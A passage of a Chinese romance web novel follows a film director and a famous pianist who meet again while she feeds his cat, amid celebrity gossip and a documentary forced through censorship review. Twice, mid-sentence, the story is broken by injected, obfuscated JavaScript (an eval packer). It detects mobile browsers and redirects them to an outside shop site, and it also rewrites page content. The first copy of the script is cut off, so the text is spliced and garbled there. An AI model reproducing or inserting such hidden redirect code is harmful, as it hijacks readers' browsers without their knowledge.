他做不到,不是舍不得,而是复盘本身带来的二次伤害,超出了他能承受的范围。 他只好去买了部新手机,办了张新卡,也导入任何旧数据。新的通讯录空空如也,新的相册一片空白,新的聊天软件里没有任何历史记录。 让一切从零开始。如果无法处理过去,那就创造一段没有过去的现在。 休息一年后,李寻才有心力重新考学,入学后的电影映后谈上,有观众提起古典乐圈的八卦,提到了周序当年的风波。 在场不少人用戏谑的语气说起周序,话里话外都是讽刺。 不提梁初灵,一是因为如今她地位太高,二是因为那位俄罗斯的顶尖女钢琴家叶莲娜、和中国的顶尖女钢琴家李炽,不遗余力的骂遍了所有嘲讽梁初灵的声音。 人都是趋利避害的,如周序曾因混血的长相也好、天才的光环也好、家族的背景也好、资本的推崇也好,得以被赋魅,让人不敢与他作对。 如今梁初灵也走到了这样的环境,走到了一个普通优秀的男人似乎都能够走到的环境。 李寻是嘉宾之一,拿起话筒解释了几句,讲述了每件事的后续定论,指出不应该只关注谣传不关注事实、只在乎流言不在乎结果。这让现场气氛十分尴尬。 这其实不太符合李寻的性格…… 主持人很快圆场:“看来李导对古典音乐圈还是很关心啊。” 李寻捡起滚落的奇形怪状的羊毛球,放到一边,起身走进了卧室,打开书桌抽屉。里面是一些不常动的杂物:旧护照、一些照片、还有一部旧手机。 他把手机拿了出来充电,等待开机的时间里,他几乎想拔掉电源——这行为自欺欺人到了可悲的地步。 换了新手机新号码,宣称要斩断过去,可这部旧手机和那个旧号码,他还一直留着,话费还一直交着。 李寻点开微信,梁初灵依然在置顶的位置,点开对话框,最后的聊天记录停留在五年前,往上翻是更早的对话碎片,像一地闪闪发光的玻璃碴,记录着曾经如何毫无保留地分享过生活。 他当然不会去装模作样发一些只会得到一个红色感叹号的消息,但也没有删掉这个对话框。就让它在那里,像一个墓碑。 又点开相册,里面有当初删到一半的照片,他没有勇气再点开任何一张细看。那些缩略图已经足够构成一股汹涌浪潮,拍打着他的岸堤。 为了活下去,他离开惊天骇浪,逃回客厅,却在看着睡着的梁初灵时,再度被浪头卷进水中——忽然想起落水时的感觉。 被洪水卷走的那一刻,浑浊的水灌进口鼻,那种濒死感真实,但说起来很可笑,当时他脑子里闪过的第一个念头是恐惧,并非对死亡的恐惧,而是—— 他恐惧自己就这样死了。 死不可怕,可怕的是会成为活人讲起来的故事。 活人讲起李寻,他害怕他的整个人生,会被简化成一句话——关于梁初灵的一句话。 这个简化的权力,是李寻自己给出去的。 可现在,看着眼前的梁初灵,李寻必须承认有些人就是会贯穿你生命的始终,无论你愿不愿意。她不是你故事的一部分,你是她故事的一部分——或者反过来,都一样。你们的故事早已纠缠在一起,分不清谁是谁的注脚。 梁初灵的睫毛颤了颤,像是要醒,却没醒,只动了动嘴唇说梦话:“周序……” 名字轻飘飘从她睡梦中滑出,像一片刀,刺进李寻刚刚因旧景重现而温热的心口。 刚刚因她毫无防备睡在这里而生出的柔软幻觉,哗啦一声碎裂,碎片同样尖锐,扎得他五脏六腑都生出迟来的恨意。 李寻越靠越近,脸跟她的脸相隔五年,又好像是一瞬间。阳光在她脸上跳跃,绒毛可见,无害得甚至有些天真。可她刚刚喊了周序。 伊凡、周序,梁初灵的身边还有多少人? 凭什么? 凭什么你可以身边又有新人又有旧人?凭什么你和伊凡在一起,却还可以和周序有牵扯?你对待前任不是很决绝的吗?凭什么周序作为前任还能被你喊起? 凭什么? 凭什么你当初可以那样决绝的把我推开,说再也不想见到我,甚至不给我挽留的机会。凭什么现在你却可以这样大剌剌踏进我家,就像那场驱逐从未发生过。凭什么你可以在我家睡着,还换了那双旧拖鞋,仿佛只是出了一趟远门归来。凭什么你在这里睡着,梦里喊的是别人的名字。凭什么你可以这样轻易跨越,跨越你划下的鸿沟,跨越时间和伤害垒起的高墙。凭什么你可以用那样不留余地的姿态离开我。凭什么我花了那么长时间,去理解那两个字,接受“我会伤害你”的这个陌生的自我认知。凭什么我在全新的领域里重建一个没有你的我,你却可以凭着一点点理由就轻描淡写地重新踏入我的领地,搅乱一池我以为早已死寂的春水。凭什么只有我还在原地较劲,你甚至能在我的空间里为别人入梦。 李寻想摇醒她,想让她看着他的眼睛,再说一遍‘再也不想见到你’。想问她伊凡知道你这样吗?周序知道你这样吗?知道你会这样躺在前前任家的地板上,念着前任的名字入睡吗? 李寻不会问,因为他知道这些问题也是伤害,他绝无可能再去伤害梁初灵。 下午五点,阳光开始收网,从西侧百叶窗照进来,笼罩在李寻身上,像一个囚笼。 李寻还是伸手把梁初灵那捋头发拨了下去,他一伸手,就挣脱了囚笼,还真是好温柔的囚笼 温柔。是的,即使此刻心中有一点点恨意,那恨意里依然裹挟着无法剥离的温柔。 恨她的无所谓,恨她的轻易跨越,恨自己时至今日依然会为她这样毫无防备的睡姿,而感到不合时宜的怜惜。 没有答案,从来就不需要答案。梁初灵永远有资格这样做。李寻永远只能接受,接受她的到来,接受她的离开。 李寻简直想嗤笑自己一声,他此刻也只想离开,去屋外躲一躲。 但下一秒,梁初灵声音大了些,又说了一句梦话,带着明显的抗拒:“不要周序!” 李寻愣住,看着她不安地翻了个身,栗子被她惊动,跳了下来蹭蹭李寻。 梁初灵还在睡梦中,又嘟囔了一句:“就是不要!” 带着孩子气的固执。 李寻俯身靠近,轻声问:“不要周序,那你要谁?” 42. 《挪威舞曲第2首》 李寻的声音很轻,本不该惊扰熟睡的人。 但也许是距离太近,也许是潜意识里感知到了什么,梁初灵的呼吸频率变快,眉头又蹙起来,似乎真的在梦中认真思考这个问题的答案。 嘴唇翕动,却终究没有发出声音。 李寻保持着那个俯身的姿势,很近地看着她,能感受到她的呼吸。 有那么一瞬间,他想像很多年前那样,在她睡着时牵住她的手。 但他没动。 理智细而韧,勒住所有冲动。 他不能叫醒她。 如果此刻她醒来,只会立刻站起来离开。然后,她就再也不会来了。 李寻不想这样。 他站起来,后退一步又一步,摸了摸栗子的头,然后又轻轻出门。 李寻走到一楼附近的健身器材区,在长椅上坐下。 秋日下午的阳光暖洋洋,几个老人在不远处闲聊,孩子们在空地上追逐笑闹。 是很平常的午后。 李寻却觉得自己的心跳很不平常。他靠在椅背上,仰头看着自己家窗户。窗帘没拉,但他什么也看不见。 他不知道梁初灵什么时候会醒,什么时候会离开。他只是坐在这里等。 这感觉很奇妙。明明是他自己的家,他却像个外人一样等在楼下,只因为楼上有一个不想见到他的人。 朋友曾经问过他:既然那么放不下,为什么不回去找她? 李寻当时没有回答。 现在他坐在这里,忽然明白了答案的一部分:因为害怕。 不是害怕被拒绝——虽然那也是原因之一。 更深的害怕是,他怕一旦重逢、把话说开,那漫长的可能性会就此消失。好的结果当然美妙,但坏的结果意味着彻底结束。 而等待本身,虽然痛苦,却至少保留了尚未发生的想象空间。 就像现在,他知道梁初灵就在楼上在他家里,他不知道她醒来会想什么,不知道她会不会发现他回来过,不知道她明天还会不会来。 这种不知道里,藏着近乎自虐的甜蜜。 他不准备告诉李炽,自己已经出院。他希望梁初灵再来。 哪怕只是像今天这样,他躲在楼下,她在楼上,她们不见面,不交谈,但只要知道她在那个空间里待过,呼吸过他呼吸的空气,坐过他坐的位置,摸过她们的猫,就足够了。 -- 乐团的影片一旦流程确定,拍摄许可到手,进度就会很快。 何况黄潇的编剧专业能力过硬,写的剧本在拍摄时不需要过多调整。 在李炽从南京回来之前,所有不需要她亲自出镜的片段,几乎都已拍摄完毕。李寻这些天几乎住在了临时剪辑室。倒不是真需要这么赶,只是他需要让自己忙到没时间胡思乱想。 只有在深夜收工后,开车回家的路上,悬在心口的期待和不安才会重新浮上来。 倒从没想过在客厅里装个监控。一是觉得这样实在不够尊重人;二是在李寻印象中,梁初灵对镜头是有抵触的;三是梁初灵如果知道他会在监控里观察她,不知会有多反感。 距离上次见面过了三天,这三天里梁初灵只来了一天,李寻每晚到家后一瞅就知道今天来没来过。 这天李寻结束工作已经快十一点,车子驶到楼下,他抬头看向窗户,发现灯还亮着。 这么晚了,她怎么还没走? 李寻看了眼手机,没有任何消息,他当然不会有她的新联系方式,她也不会有理由联系他。 在车里坐了十分钟,灯还亮着。二十分钟,依然亮着。 秋夜的风有些凉,他降下一扇窗,用以毫无阻碍看着另一扇窗。 脑子里不受控制冒出各种念头:她是不是睡着了?还是栗子出了什么问题?还是她早就走了,只是忘记了关灯?或者她其实在等他? 最后这个念头太危险,他立刻掐灭。 夜更深,小区里只剩下几盏路灯和零星几户亮着的窗。 秋虫的鸣叫时断时续,衬得夜色更静。 窗光在夜色中显得温暖,像茫茫海面上的一座灯塔。他知道那光不是为他亮的,但此刻那座灯塔里有他想见的人。 又过了约半小时,灯熄灭,单元楼的门一会儿后也开了,梁初灵走了出来,脚步有些匆忙,她一边走一边低头看手机,似乎在叫车。 李寻坐在车里看着她。 这么晚一个人回家,安不安全? 梁初灵叫的网约车到了,她拉开车门坐进去。李寻开着车跟上去,的确没办法就这样看着她消失在夜色里。 直到梁初灵在家门口下车,李寻才缓缓吐出一口气,调头离开。 李炽又过了三天才回来,回来那天给李寻发了消息:“我今晚先去朋友家问她点手续的事,明天再开始盯乐团演出。你怎么样了?” 李寻说自己没什么事,已经出院。 李炽回来,意味着从明天开始,梁初灵不会再去他家喂猫。 回来的第二天,李炽开始全力筹备乐团在北京音乐厅的演出。这场演出将被收录进影片,作为高潮部分,所以需要申请额外的拍摄许可。 这方面李寻插不上手,全是李炽在协调。索性,李寻给整个剧组放了两天假,原本打算自己再看看素材,结果实在高估自己,一点都看不下去,向后靠在椅背上,揉了揉发涩的眼角,点开社交平台扫了一眼—— 他不用刻意关注梁初灵,这个名字总会从四面八方闯入视野。 热搜榜上,一个熟悉的名字引起了他的注意,伊凡后面跟着一位国内一线女歌手的名字。 他点了进去。是昨晚女歌手在工体的演唱会,伊凡作为特邀嘉宾登场。 视频片段里,舞台灯光绚丽,万人欢呼,演奏结束时,伊凡主动上前,张开手臂拥抱了女歌手,手臂在她肩头停留,笑容灿烂。女歌手侧脸对他笑着说了句什么,画面定格,被无数娱乐号转发,配上暧昧标题。 或许是因为伊凡的名字上了热搜,关联话题里,很快出现了梁初灵的名字。 古典音乐圈外的大众或许对这对钢琴情侣知之不详,但被媒体一引导,信息碎片被拼凑。 【伊凡梁初灵恋情】 【梁初灵伊凡多久没同框了】 几条新词条热度攀升。 对于男名人,传其绯闻是带有赋魅色彩。 对于女名人,传其绯闻则是带有造谣意味。 所以内容开始变得乌烟瘴气。有人挖出梁初灵和伊凡早期同框照,对比现在伊凡与女歌手的亲密互动,猜测两人是否早已情变,各玩各的。 一些不负责任的营销号含沙射影,给那位女歌手扣上疑似第三章的帽子,也有直接嘲讽梁初灵拴不住男友的。 真真假假,恶意揣测,为了流量不择手段。 对于女名人,尤其是美丽成功的女名人,其感情生活永远是公众想象的富矿,无论真相如何,也无论她们本人是否愿意被置于审视之下。 谣言本身就是目的。 李寻面无表情看了一会儿,感到一阵烦闷。 得,他也打道回府吧。 -- 李炽忙得头痛,压根没时间回家,更顾不上李寻说的‘已经出院’这背后代表的一二三四,一直到忙到下午,翻包找文件时,看到自己在南京给梁初灵买的礼物,一拍脑门儿,这才急得给梁初灵打了个电话。 梁初灵接起电话:“李炽老师。” “初灵!”李炽带着笑意,“我回来了!昨天太忙忘了跟你说,不好意思啊。李寻也说他出院了,你今天要是还没去家里的话就别去了,要是已经去了的话就多注意……他应该还在忙剪辑呢,你俩没碰到吧?” “没事的。”梁初灵说,语气非常平静,却没有正面回答问题。 李炽有点纳闷,这小孩儿今天怎么这么沉静,之前说起李寻那不还扰扰嚷嚷的吗?但她现在也品不出几分细腻,事情一件接一件的来,梁初灵说没事那就没事吧! “我给你带了礼物,下次拿给你。”李炽说,“这几天辛苦你了。” “好呀,下次拿。不辛苦,栗子挺乖的。” “哎,你这孩子今天怎么这么乖?”李炽在电话那头笑,她真是忍不住。 梁初灵没接这话,只是说:“老师你刚回来,要多休息。” “行,那先这样。改天一起吃饭啊!” “好,李炽老师再见。” -- 梁初灵昨天来喂猫时,发现栗子蔫蔫的,带去宠物医院看了医生,说是肠胃炎,开了药,一天喂三次。 中午那次在医院喂了,到了晚上这任务就全系梁初灵一人,她用猫条骗药,栗子舔了两口就察觉到不对劲,扭身就跑,灵活地窜出了客厅。 梁初灵追过去,栗子钻进了虚掩着门的李寻的房间。梁初灵不是随便进别人房间的人,何况这个人还不是别人,只能僵在门口。 妈女士打来电话问她几点到家,梁初灵说马上马上,眼睛盯着门里的猫,心急如焚。 药还没喂进去呢! 犹豫了再犹豫,“对不起对不起对不起!”梁初灵对着空荡荡的门口,喊了三声,像自我许可的咒语,然后万分抱歉地踮着脚走了进去。 梁初灵知道李寻不会在家里装监控。即使装了,如果他通过监控看到她,也不会继续这样观察下去,会立刻关掉、或者至少移开视线。 不是出于对她的特殊,而是因为李寻就是这样一个看见而不侵犯的人。 李寻永远有对她人界限的尊重。 对她,他只会去理解她,但不会去解剖她以满足自己的好奇或掌控欲。 正是这种特质,给过梁初灵难以言喻的安全感。 在他身边,他不会拿着放大镜审视她的瑕疵,也不会将这些变成伤害她的武器。 这遥远的信任,成了她踏入这个房间的勇气。 她知道即使他事后知晓,也不会问她“你为什么进我房间”,只会问“栗子还好吗”。 李寻的房间依旧整洁,不过梁初灵没心思多看,只追着栗子。栗子钻到了书桌底下,似乎在咬什么东西。 “栗子!”她蹲下身把它抱出来,顺便从它嘴里抢救下一张拍立得照片。 画面里是柯蒂斯的秋天,金红的树叶作为虚化的背景,梁初灵正在奔跑,头发飞扬,构图很好,半边是树,半边是她。 照片已经有点褪色,但梁初灵的心像新的一样新鲜而剧烈地跳动。她无意识地把照片塞进自己兜里。 栗子又从她怀里挣脱,跳上书桌,不满地叫了一声,梁初灵跟过去,想把它抱下来。 目光扫过桌面,还散落着两三张同样的拍立得,都是她。 不同角度,不同场景,不同时期,但出自同一人之手。 旁边还有部旧手机,是李寻五年前的手机——梁初灵当然认得,手机背面还有梁初灵当初给他贴的一张小猫贴纸。 屏幕因为她触碰而亮起,梁初灵没打开,但不用打开,锁屏是她照片…… 梁初灵迅速把手机扣回桌面。 她知道李寻不会窥私,但她却主动拿起他的手机,看到了他的锁屏,这行为若放在别人身上,或许会被定义为双标,但梁初灵心里没有升起任何自我谴责的念头。 因为对方是李寻。 面对李寻,她天然拥有某种特权,某种因为全然信任而衍生出的肆无忌惮。 她信任他不会伤害她,信任他即使被她侵犯了隐私,也不会用同样的方式来报复她。 这安全感根深蒂固,以至于她可以遵循本能的好奇,去触碰他隐藏起来的世界,而不用担心这会引发一场战争。 这是一种不对等的安全感,或许不公平,但她就是笃信李寻,胜过笃信真理。 而离开李寻后,她再也不曾感受过这种堪称恐怖的安全感。 -- 李寻推开门时,他以为会面对空荡荡的屋子,毕竟李炽已经回来,梁初灵没有理由再来。 所以万万没想到,客厅的电视开着,正在播放一部两个人曾经看过的电影,《山河故人》,李寻知道梁初灵为什么会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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李寻克制住了替她揉揉头的动作,反而坐直:“做噩梦了?” 梁初灵涨红了脸,一半是疼的,一半是窘的。 “你怎么在这儿?”梁初灵先发制人。 “这是我家。”李寻说,语气平静。 梁初灵愣了一下,低头看了看自己,又抬头看他,已经完全反应过来。有些尴尬,还有些恼火。 就是在这时接到李炽的电话。 “李炽老师说过你要住两周院。”她的声音硬邦邦的。 “提前出院了。” “哦。” 沉默。 栗子走过来,蹭李寻的腿。李寻弯腰摸摸它的头,猫发出呼噜声。 “猫喂过了。”梁初灵站起来,动作有点急,“我走了。” 因为保持一个姿势太久,腿麻,刚起身就踉跄了一下,李寻伸手扶住了她的胳膊。 他的手很暖,隔着衣袖的温度传递过来,梁初灵立刻抽回手臂,继续往门口走。 “等等。”李寻说。 梁初灵停住,没回头:“还有事?” “栗子现在怎么样?”李寻指了指茶几上的药。 “好多了。”梁初灵说着,就蹲下来摸了摸栗子,“昨天有点肠胃炎,我给它喂了药,今天就活蹦乱跳了。” 李寻犹豫了一会儿,还是问了出来,“那你呢?你怎么样?” 梁初灵不解:“我?我很好啊。” 李寻看着她确实不像强撑的样子,又问:“你看到热搜了吗?” 梁初灵疑惑地掏出手机,很快也看到了那些关于伊凡和女歌手,以及连带牵扯出她的讨论。浏览了几条,表情从疑惑到恍然,最后归于平静。 “就这个啊。”她语气无所谓,“假的,别信。” 她浑不在意的态度,让李寻没来由地有单恼火。他扯了扯嘴角,发出带着嘲讽的笑:“你倒是很相信你的男友啊。” 这话听起来刺耳,但梁初灵一开始没察觉,因为她才反应过来,对哦!伊凡是自己的男友! 不知是出于对这虚假关系的厌倦,还是因为李寻语气的尖锐让她不适,梁初灵脱口而出:“他不是我男友。” 说完她自己都有点想吞口水,这解释来得没必要。 “你们分手了?”李寻也脱口就问。 李寻没料到她会直接否认,眼底掠过诧异,随即有点躁动,他站了起来,朝梁初灵走近。 仅仅走了三步,却让梁初灵后退了一步,她的背抵住门口的玄关柜。 梁初灵控制不住自己的紧张,她直觉再这样下去会有不受控的事情发生,紧张到感觉空气变得稀薄。 李寻停在她面前,一步之遥,看着她有点发抖的身体,瞬间就冷静下来。开始责怪自己,刚才是语气太凶了吗?怎么把人吓成这样?还是说梁初灵其实还是伤心于伊凡的新闻? 他不愿意看到梁初灵如此紧张和焦虑,不由得想要让她先放松。 到嘴边的话就这样改变,变成:“你吃饭了吗?” 梁初灵愣了一下:“……没。” “我也没吃。”李寻转身往厨房走,“家里应该还有食材。” “我不吃!” 梁初灵仰头看他,她个子不矮,但还是只到李寻下巴,仰着脸,眼睛里有很多情绪——生气、窘迫、不安。 “我回家吃!我不在这吃!” “为什么?”李寻问。 什么为什么?还敢问为什么?梁初灵瞠目结舌。李寻你怎么变成这样了? “你是不是觉得这样挺正常的?” “怎样?” “让我留在这儿吃饭。在你家里。我们像什么都没发生过一样,坐在一起吃饭?” 梁初灵实在生气。 李寻有女朋友了。嘴上说着珍视、怜惜,那现在这算什么? 李寻不可以这样,不可以变成那种跟前尘往事纠缠不清,对现任不坦诚的人。 梁初灵讨厌这种人,她在国外见过的这种人够多了,李寻不能也变成这样。 “我不可能跟你在一块儿吃饭!”梁初灵说完就走。 43. 《阿德莉塔》 那天之后两人没有再联系。 梁初灵飞了两次上海,一次香港,要给音乐学院的钢琴教师和尖子生上课,这种活动她近年参与得越来越少,但有些邀请的层级和意义,让她无法用档期已满轻松推脱。 课倒是上得顺利,那些年轻学生看她的眼神里全是仰望和紧张,只是上完课回到酒店总觉得疲惫,挥之不去的被无数目光打量的疲惫。 上完这三场,北京也有一场等着她…… 飞机落地,助理跟在她身后:“梁老师,咱们直接去酒店吧。晚上有个欢迎晚宴,几位领导都会出席。明天的课程安排在上午九点,下午是公开大师课,有媒体到场……” 梁初灵嗯了一声,脚步不停,已习惯这种被安排得滴水不漏的行程。 欢迎晚宴上,梁初灵微笑着与领导们握手,接受着那些或真诚或客套的赞美,并得体地回应。 一位分管文化的领导举酒杯:“梁老师,我听说你这次回国,除了演出,还有不少私人安排?家里都还好吧?” 梁初灵微笑着举水杯:“谢谢关心,一切都好。” 对方也不好再追问,笑着碰了杯。 晚上回酒店房间,看见房间门口放满了鲜花、蛋糕和情书。 梁初灵熟练,立刻联系前台换了间房。助理同样熟练,进房间拿行李再放到新房间。 …… 第二天下午的公开大师课来了更多观众,包含一些社会名流。梁初灵在人群中看到一个她并不想见的身影。 周序。 他坐在第三排靠走道的位置,头发比上次见时短了些,没有戴墨镜或口罩,就那么坦然地坐在那里,迎上梁初灵的目光,还点了点头。 梁初灵也冲他点了点头。 中场休息,梁初灵走向后台,助理跟进来递上水杯:“梁老师,周序老师刚才托工作人员传话,问您结束后是否有时间喝杯咖啡。” 梁初灵犹豫了一下,她其实想立刻回酒店,但拒绝反而显得刻意。 这五年来,她们的关系其实并非外界猜测那般势同水火,甚至比风波之前更为正常。 那场痛苦过后,二人各自狼狈,各自成长。 周序经历了事业的重创和漫长的修复期,棱角磨平了些。 梁初灵则在他的狼狈退场中,学会了更冷静地处理一切关系。 她们还合作过几次,偶尔在音乐节碰面也会寒暄,绝口不提过往。 只是大众早已对这段旧闻失去兴趣,转而追逐更新鲜的八卦。 两人都选了靠窗的位置,相对而坐。 梁初灵后到,咖啡已点好。她到了后把耳夹取下来放桌上,她没打耳洞,造型师给她借了对耳夹,夹到现在耳垂痛得不行。 最初的寒暄过后,周序的话匣子打开:“今年的巡演安排怎么这么少?你初中时一年三十场巡演,怎么今年只有十二场?” 梁初灵嗯了一声:“想休息一下,多陪陪家人。” “是在调整?” “是吧。”梁初灵其实不知道自己要调整什么……只是也不好奇,不想问,周序说,她就应。应完端起杯子,借这个动作避开周序的注视,她不太喜欢这种被细致打探的感觉。 “既然决定要调整,你就应该直接分手。昨晚伊凡还跟人拼酒,甚至在后台对工作人员发脾气。他在欧洲圈子的名声也不干净吧?你就这么爱他?”周序起手很快,事实上这才是他约梁初灵喝咖啡的原因。 梁初灵不爱喝咖啡,抿了一口后就放下杯子,依然保持沉默,她当然知道伊凡是什么样的人。 周序看她不说话,还以为是被自己的言语打动,继续:“伊凡不够尊重你,也不够爱你。那你为什么还要继续?分手吧。他不值得。” “这是我的事。”梁初灵很烦被别人来定义值不值得,脸色变得不好。 “就因为是你的事,我才要说!”周序不退反进,“跟他分手。他不忠,你值得更好的。” “什么是更好的?”梁初灵忽然问,“你吗?” 周序坦然承认:“对,我。你现在就跟伊凡分手。” 梁初灵感到烦躁,逆反心理上来:“我就不分。” 周序气得一口气差点没上来,但,他这五年的成长还包括于——学会了要如何做,才能跟梁初灵长久的相处下去。 所以周序忽然笑了一下,转变话题:“行。那之后有什么安排?你今年的最后一场巡演是十二月底吧?在挪威?” 梁初灵皱眉:“周序。” “嗯?” “我的行程好像不需要向你报备吧?” 周序身体往后靠:“抱歉,习惯了。总想多知道一点。” “不过,有些消息不用刻意打听也能知道。十二月底那场是特罗姆瑟的低碳音乐会,对吧?” 梁初灵抬眼看他。对方保密工作做得不错,周序怎么会知道? 看穿她的疑惑,周序揭秘:“我也受邀了,而且就在你演出的后一天。” “组委会问我档期的时候,我一开始选了你那天,对方就跟我讲了那天属于你。怎么样,很有缘分吧?” 梁初灵忍不住:“真不是你故意的?你可以不应邀啊。” “当然是我故意的。”周序答得理所当然,“这么好的机会,怎么能错过?梁老师,给个同台,不,同城演出的机会?” 他的直白反而让梁初灵那点不快消散,只剩下无奈,“随你便。” “那就说定了,”周序举起咖啡杯,要跟她碰杯,“下个月底,特罗姆瑟见。说不定还能一起看极光,如果那几天天气好的话。” 梁初灵没碰杯,只是说:“看情况吧。我还有事,先走了。” 往外走的时候,才发现自己身后被绿植和屏风半遮挡住的卡座,坐着李寻和黄潇,两人面前摊着文件和电脑。 黄潇低头在纸质剧本上画圈圈,李寻抬头看向梁初灵。 李寻脸上没什么表情:“好巧。” 梁初灵移开视线,也回了同样两个字:“好巧。” 说完离开,李寻的视线追随着她的背影消失在门口,才缓缓收回。 李寻这边的影片进入后期,周期压得短,李寻作为导演和剪辑指导更是连轴转,往往凌晨离开,上午又出现,眼睛里带着血丝,下巴上的胡茬没空打理。 黄潇作为编剧也不轻松,且她除了与李寻合作,自己手里还有个电影本子在推进。 今天剪辑室突然停电,二人就出来讨论工作。 黄潇想起什么,压低声音:“咱们要不要提醒提醒梁老师啊?” 李寻从时间线上抬起头,有点诧异,刚才梁初灵和周序的聊天二人的确听见了几句,但黄潇不是这样好管别人私事的人。 黄潇只好继续:“我那个电影,本来宣传曲是要和伊凡合作的,都在走合同了,结果这两天接到通知,不让用他了。 “为什么?” “风声不对呗。上面收到了一些伊凡的材料,跟违法相关,问题不小。伊凡背后有资源,所以现在是在压,但能不能压住难说。圈里消息灵通的都已经开始规避风险了。这种时候谁敢用他?烦死了,男人真的很不稳定!” 说完这些,黄潇更是一脸恶心地补充:“除了这个……还有一个我也不知道真假的瓜,有人说伊凡是gay,那梁老师是不是被骗了啊?” 在这个行业里,一个名人是否即将塌房,往往业内最先感知风向。政策的收紧、来自上层的态度、合作方的撤退,都是清晰的信号。 娱乐圈起落沉浮,李寻见得不多,但不觉稀奇。 但是…… 他脑子有点乱,也不想在咖啡厅里谈这事儿,只能让黄潇继续看看影片时间线、换换脑子,黄潇气得顺嘴也骂了李寻一句周扒皮! 到了第二天,李寻就又看到伊凡和梁初灵一起并排挂在热搜前列,不止一条。 先是几个营销号发布长文,说俄罗斯天才钢琴家伊凡,为了梁初灵,接下众多在中国的工作邀约,频繁往返中俄,被赞为爱走天涯。 文章极尽渲染之能事,描绘伊凡如何深情款款,如何在采访中含蓄表达对梁初灵的欣赏与爱意,塑造了一个痴情又才华横溢的完美年下形象。 评论区不少网友大呼好甜,羡慕梁初灵。 混杂其中的,还有另一条视频。 画面是私人聚会,光线昏暗,镜头晃动,伊凡情绪激动地与另一个男子扭打在一起。 视频配文耸人听闻【惊!梁初灵新欢曝光?伊凡深夜为爱打架!】 于是评论区少有针对伊凡打架的批评,大多是嘲笑伊凡一腔深情喂了狗。 也让更多人对准梁初灵,揣测她脚踏两条船。 关联热搜也在攀爬,【伊凡梁初灵各玩各的】,点进去,是更多所谓知情人爆料,称两人早已私下各有新欢。 如此密集的,正面与负面交织的热搜,太像一套组合拳,先用深情人设转移对潜在丑闻的注意力,同时抛出另一个冲突事件,引导舆论走向情感纠纷而非品行问题,将梁初灵也拖下水,成为话题的一部分。 李寻太阳穴突突直跳。 黄潇昨天的话言犹在耳,伊凡团队在这种敏感时刻,不但不低调,反而营销深情形象,是打算最后捞一波好感,还是想拉梁初灵共沉沦?那些爆料,是意外泄露,还是有人故意放出来搅浑水? 无论哪种,梁初灵都成为了吸引火力的靶子。 李寻知道梁初灵不在乎大多数评价,但在乎不被利用。 头更痛了…… -- 李炽那边也遇到了坎。 李寻的助理敲门进来:“导演,李炽老师来了。” 话音刚落,李炽已经风风火火走了进来,脸色不太好看。 李寻站起身:“怎么了?” 李炽在沙发上坐下,揉了揉太阳穴:“你这边进度怎么样?” “粗剪完成了,按计划,月底能出成片。” “月底。”李炽喃喃重复,脸色更沉。 李寻察觉到不对:“出什么事了?” 李炽从包里拿出一份文件拍在桌上:“审核那边,卡住了。” 李寻拿起文件翻看。是影片送审后,审核部门反馈的意见函,洋洋洒洒好几页,列出了十几条问题。 有些是技术性的,如个别镜头色调不统一。 有些是内容性的,如过度强调乐团的商业属性,弱化了艺术追求。 还有些是莫须有的,对方暗示题材很好,但表达上可以更具有积极导向性,如果能更好地展现国家音乐文化建设的成就就更好了。 李炽气得跟李寻抱怨:“什么叫更积极的导向性?我们拍的难道是负面吗?展现乐团从无到有,华裔音乐家在国际上争取一席之地,这还不够积极?” “这是刁难吧。”李寻放下文件,“影片完全符合规定,所有报备手续齐全,拍摄内容也都在审批范围内。” “我知道。但人家就是不给你过,你能怎么办?拖你三个月,所有宣发计划全打乱,演出季都过了,这片子就算出来也错过了最佳传播期。” “他们想要什么?”李寻直截了当问。 李炽看着他:“今天下午,他们的人私下联系我,说有个折中方案。” “什么方案?” “他们想要拍摄一部纪录片。”李炽说,“一部关于华人钢琴家的纪录片。刚结束的肖赛,前十名全都是华人钢琴家。现在国际上,华人钢琴家的地位和关注度空前的高。上面想借这个东风,拍一部有分量的纪录片,推广到国际上去,也算是文化输出的一部分。” 李寻隐约猜到了什么:“他们想让你来牵头?” “不止。他们还指名要你操刀执导,要我动用关系和人脉,确保这部纪录片的高质量和国际影响力。片子要涵盖七位钢琴家,从老一辈到新生代,要展现国家钢琴教育的成就,也要突出个人奋斗和艺术追求巴拉巴拉的……总之,是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16874664|189655||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一部献礼片。” 李寻沉默,审核卡住李炽的乐团影片,是为了逼她就范,接下这个任务。而他也要被捆绑进这个计划。 “如果我们不接呢?”李寻问,站起来给李炽倒杯热水。 “那我们的影片就无限期卡着。而且不止这一部,以后乐团的项目,恐怕会遇到阻碍。你知道的,在这个圈子里,有些人想给你使绊子,方法多的是。”李炽接过但没想法喝。 “七位钢琴家,都有谁?”他问。 李炽报了几个名字。都是业内响当当的人物,有德高望重的老前辈,有正当壮年的中流砥柱,也有近年崭露头角的新星。 最后,她说:“还有我,和梁初灵。” 李寻转过身。 房间里安静下来。只有电脑主机运转的嗡嗡声。 “他们不会放过这个机会。华人钢琴家里,国际知名度最高,话题性最强,又刚好都在国内的,就是我和初灵。有我们俩在,这部纪录片在国际上才有关注度。他们算盘打得很精。” 李寻走回桌边,拿起那份意见函,又放下。 “接吧。”最终,他说,“片子总要做完。这也是一个机会,纪录片本身……也有意义。” “那初灵那边……” “公对公邀请。”李寻打断她,“通过正规渠道发函。她接不接是她的事。我们做好我们该做的就行。” 李炽拿到了他的同意,马不停蹄出去见人了,李寻长长叹一口气,给李炽倒的那杯水她没喝,李寻自己拿起来一口气喝了半杯。 愁、忙、累。 接下这个任务,是为了李炽的片子能顺利过审,履行一个导演的承诺。 